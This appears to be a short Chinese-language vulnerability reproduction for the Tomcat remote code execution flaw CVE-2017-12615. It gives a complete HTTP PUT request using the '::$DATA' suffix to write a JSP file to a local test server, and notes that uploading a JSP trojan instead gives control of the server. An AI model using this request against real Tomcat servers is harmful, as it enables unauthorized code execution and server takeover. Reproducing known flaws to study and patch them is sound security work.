Tomcat远程代码执行CVE-2017-12615

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。

Tomcat远程代码执行CVE-2017-12615漏洞复现：

测试POC：

PUT /xiaoli.jsp::$DATA HTTP/1.1
Host: 127.0.0.1:5200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: UM_distinctid=15e93d0e1093ce-00d570b998b1b6-e313761-100200-15e93d0e10a60b; CNZZDATA1264347540=617394558-1505715371-%7C1505715371; JSESSIONID=BF4039CD5DAB813A18B40E3559945BF9
Connection: close
Content-Length: 22

xiaoli test

已经利用漏洞，把xiaoli.jsp文件写入到服务器，访问结果结果如下，如果把xiaoli.jsp换成jsp木马，即可控制服务器。